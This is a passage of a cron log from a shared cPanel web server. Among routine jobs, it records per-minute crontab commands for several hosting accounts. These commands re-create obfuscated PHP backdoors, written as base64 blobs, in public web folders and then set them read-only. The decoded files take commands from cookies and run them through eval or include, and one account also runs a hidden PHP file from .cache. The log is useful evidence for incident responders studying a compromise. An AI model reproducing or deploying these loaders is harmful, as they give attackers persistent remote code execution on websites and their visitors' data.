jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:26:02 medusa CROND[32339]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:26:02 medusa CROND[32340]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 12:26:02 medusa CROND[32341]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:26:02 medusa CROND[32349]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:26:02 medusa CROND[32350]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:26:02 medusa CROND[32351]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:26:02 medusa CROND[32355]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 12:26:02 medusa CROND[32362]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:26:02 medusa CROND[32363]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:26:02 medusa CROND[32369]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:26:02 medusa CROND[32370]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:26:02 medusa CROND[32376]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:27:02 medusa CROND[19271]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:27:02 medusa CROND[19272]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:27:02 medusa CROND[19273]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:27:02 medusa CROND[19274]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:27:02 medusa CROND[19275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:27:02 medusa CROND[19278]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:27:02 medusa CROND[19279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:27:02 medusa CROND[19280]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:27:02 medusa CROND[19285]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:27:02 medusa CROND[19282]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:27:02 medusa CROND[19291]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:27:02 medusa CROND[19295]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:28:01 medusa CROND[2114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:28:01 medusa CROND[2115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:28:01 medusa CROND[2116]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 12:28:01 medusa CROND[2117]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:28:01 medusa CROND[2118]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:28:01 medusa CROND[2119]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:28:01 medusa CROND[2124]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:28:01 medusa CROND[2131]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:28:01 medusa CROND[2134]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0